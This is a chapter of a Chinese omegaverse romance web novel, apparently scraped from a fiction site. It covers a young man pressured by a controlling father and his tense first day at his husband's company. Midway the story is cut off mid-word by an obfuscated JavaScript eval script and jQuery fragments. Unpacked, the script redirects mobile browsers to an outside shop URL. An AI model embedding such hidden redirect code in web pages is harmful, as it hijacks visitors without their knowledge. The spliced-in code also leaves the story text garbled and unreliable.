文趣网 > 其他小说 > 被阴湿竹马强取后死遁了 > 8. 小狗?
    思绪被手机的震动打断,元筱盯着没有地区现实的匿名号码,接听,却没第一时间说话。

    听筒里传来男人的声音:“明天进了祝从星的公司,先跟着他就行,他这几天会出差,你也跟着去。”

    元筱声音冰冷:“你又监听我电话。”

    那头静了一瞬,随即传来一声什么东西被砸下去的闷响,紧接着,是一个男人矫揉造作的短促惊呼。

    元恒再说话的语气是笑着的:“阿筱,你这么和我说话吗?监听?我这是在关心你,爸爸总得知道你那边发生了什么,才能替你铺路,帮你想好下一步要怎么走。”

    “你进了祝家,又不懂生意上的事,要是被祝从星察觉到了什么,我们这一家子都不好脱身,包括你,还是说,你不怕被他知道你的秘密吗?”

    威胁他,总是在恰到好处的时候跳出来提醒他,元筱多想说你以为祝从星是傻子吗?你以为他现在什么都没察觉到吗?

    蠢货。

    元筱直接挂了电话,旋即去了洗手间,将手机卡丢进了马桶里。

    回到卧室,他换上一张全新的卡,即便努力把胃里翻涌的恶心感往下压,他还是克制不住地回忆着。

    不该这样的。

    事情都过去了,耿耿于怀折磨的只有自己。

    元筱躺在床上,人格或许大度,身体却未必,他开心心慌,身体像有千万只蚂蚁在爬,却又无力挣扎,只能往深渊般地回忆里陷。

    童年,成长,家,关于他的,好像真的没有一处是亮的,以至于很长一段时间,元筱真切地觉得自己不该活着。

    他是个私生子,一个Alpha出轨了另一个Alpha,他是Alpha肚子里生出来的怪物,一个三岁就开始有返祖现象的怪物。

    人类怎么可能长出耳朵和尾巴?怪物。去死。从小到大他都听那个生出他的Alpha这样说。

    可元恒没有丢掉他,他养他,在他无法控制身体的时候将他隔离,又在之后,按着最标准的Omega模版打造他。

    元恒想把他养成善解人意、柔软堪怜的Omega,然后送到祝从星身边,大概从那时起,他就在为今天铺路了。

    父亲们伪善贪婪,刻薄暴力,元筱就像只活在冷暖分层的洋流中的鱼,没有喘息的机会,所以他不乖,如果他是个听话的人,也许活不到今天。

    再回神,他恍然发现自己在反复摩挲头顶的左侧,那是个习惯性又神经质的动作,红着眼睛放下手,掐紧了自己的掌心。

    _

    次日上午,公司顶层。

    领元筱到办公室的秘书并未叩门,停下来说:“祝总正在会议室开会,您可以先进去稍等。”

    办公室里的气温偏低,味道和祝从星身上的信息素)很相似,比主人更不近人情。一整面墙的弧形落地窗构成近乎360度的城市景观,光线涌入地毫无阻碍,将室内照得一片通明。

    元筱这是第一次真正踏入公司这种地方。

    他踱步观察,目光在那些镶钻的摆设上多停留了几秒,刚走到到落窗边,手机就响了。

    新消息的备注名:顾邵爱。

    视线在那条消息上停留了大概两秒,指尖在屏幕上悬停,对着对方发来的回家二字出神。

    他没回复,抬头继续打量办公室的布局,余光在瞥到面前的玻璃里时一顿。

    身后的人影距离他不到半步的距离,像一道凭空出现的影子,元筱这么好的听力,居然没听到脚步声,他无声回过头。

    祝从星臂弯处搭着件西装外套,深灰衬衫的袖子挽到小臂,露出好看的肌肉线条,很明显,他刚开完会回来。

    他扫了眼元筱的裤袋:“顾邵爱?”

    “看人手机挺没道德的。”元筱白了他一眼,走到会谈区坐下,仰头靠着沙发背叹了口气。

    祝从星不在意什么道德不道德,拿东西只会让人死的更早,他将外套搭在元筱身边:“她让我和你一起去国外看她呢。”

    元筱嘲弄地说:“你还记得顾邵爱是谁啊,记性真好。”

    “虽然不是亲生的吧,但你平时就连名带姓地喊她?”

    元筱没回答,盯着某处发起呆来。

    顾邵爱是元怿的亲姥姥,确实不是他亲生的,而且她和自己更不该有任何情分,不是能友好相处的关系。

    但是他被接进元家起,顾邵爱就对他上心。

    可是回忆起这个人难免回回忆初见,他第一时间记起来的,永远是皮肤被剪刀剪开的幻痛,是Alpha的怒骂和喘息,是黑暗里绝望的窒闷。

    手又习惯性地抬起,元筱抖了一个激灵,回过神来。

    祝从星没察觉到他的异样,指尖挑起元筱的发丝绕着玩。

    “按辈分,我们该喊他姥姥,直呼姓名确实不合适啊。”

    元筱打开祝从星的手:“你这么孝顺,就排出时间来出国看她。”

    “恐怕不行呢。”祝从星直起身,走到办公桌后拿起一份文件。

    “要出差了,明天下午的飞机,去岭城。”

    元筱闭上眼睛,调整着有些乱的呼吸。

    祝从星这才又补上一句:“你跟我一起。”

    元筱:“?”

    岭城?元筱眉头一皱,瞬间想起来元恒说了祝从星会出差。

    可是岭城在边境,治安很差,山多路杂也不是什么发达城市,更不是DFi业务的核心区域。

    “闲的?去那地方干嘛?”

    祝从星抬眼看他,元筱这才发现他没有再摆着笑脸了,身边还有股低气压。

    神经,又在生什么气。

    “别装傻,元筱。”

    祝从星的手指一松,把文件扔过来:“那笔石油生意被卡了三个月,到底为什么还需要我来告诉你?”

    文件被扔过来的动作不算重,可配合着那张冷脸和语气,把元筱那通本就摇摇欲坠的火气给点着了。

    “谁他妈知道你们在搞什么鬼。”他一把将扔到身边的文件夹扒拉到地上,里面的纸哗啦啦撒了一地。

    祝从星看着地上那摊纸,像是忽然明白了什么,极其做作地“哦”了一声。

    “忘了。”

    他语气歉然,“元家从来不跟你说公司里的事,是吧?”

    元筱:“?”

    不妙。

    祝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963527|214383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    从星仿佛没看见他瞬间变冷的脸色,自顾自地继续说像在哄没吃着糖的孩子。

    “元家只把元怿当继承人培养,从小到大,你应该一节有关经济的课都没上过,让我想想,你都学过什么?”

    他一边说,一边绕过办公桌,弯腰捡起那些散落一地的纸,坐到了元筱旁边。

    “嗯……舞蹈、插画、茶艺,摄影,还有……小提琴?那你现在还会什么呢?是不是都还给老师了。”

    祝从星越凑越近,元筱下意识想往旁边挪,肩膀却被一把揽住。

    Alpha的信息素混着体温瞬间围上来,祝从星侧着头,嘴唇贴着元筱的耳朵蹭了蹭。

    “好可怜啊,我们小元,什么都不会,就被稀里糊涂地嫁过来了。”

    “没事啊,”他晃晃手里的文件夹,“老公带你做生意。”

    “……”

    这是上司不能打……

    这是饭碗不能砸……

    心中默念一顿,元筱挪动眼珠,看向横在腰间的手。

    祝从星现在这样抱着他不撒手,算不算他入职第一天就被顶头上司潜规则?

    可祝从星是他法律上的丈夫,又好像不算潜规则。

    上司不能打但可以咬,丈夫可以打不可以咬。

    等量代换。

    上司是合法丈夫,可以打且可以咬。

    “来,宝贝。”祝从星完全没察觉到怀里人五光十色的脸色,翻开文件,开始了他的教学。

    “给你念念这份卡住我们两家好生意的《岭城边境货物临时监管及情况说明》,仔细听,有听不懂的就问……”

    牙根发痒,这感觉更像是某种奇怪的口欲期,而且这口欲期针对祝从星的脸,当然元少爷也从不收敛自己的厌恶,于是在缓缓的朗读声中,扭过头,对准那张侧脸一口咬了下去。

    “嘶!”

    祝从星的声音戛然而至。

    他向后一挣,力道大得将元筱也带得踉跄,两人之间那点可怜巴巴的亲密距离也终于被扯开。

    这一口没留情,元筱的牙有些疼,他用手背擦擦嘴角,冷笑着欣赏自己的杰作:“谢谢老公,我能看懂中文的。”

    那张脸上出现了两个订书孔般的牙印,看着很痛,可祝从星却没生气,更像是被取悦了,望着元筱笑:“你是小狗吗你?”

    语气听着像调情,偏偏两人心知肚明,元筱最不喜欢祝从星这么叫他。

    所以祝从星是故意的。

    元筱的脸色冷下去,撑住沙发靠背俯下身:“混蛋,我有没有说过这辈子别再让我听到你用这两个字喊我。”

    祝从星点点头:“说过的。”

    祝从星卖乖,元筱也懒得再在这件事上和他重提,直起身,拽了拽刚才挣扎时被弄乱的衬衫,将下摆重新塞回裤腰。

    “明天我跟着你去就行了,不用跟我说那么多废话。”

    祝从星维持着坐在沙发上的姿势,眯起眼睛看着他,像是想到了什么,他忽然笑了一声。

    “行的。”

    他摸摸伤口,撇了眼指尖沾上的血迹,“宝宝说哪两个字不能说啊?”

    “小、狗?”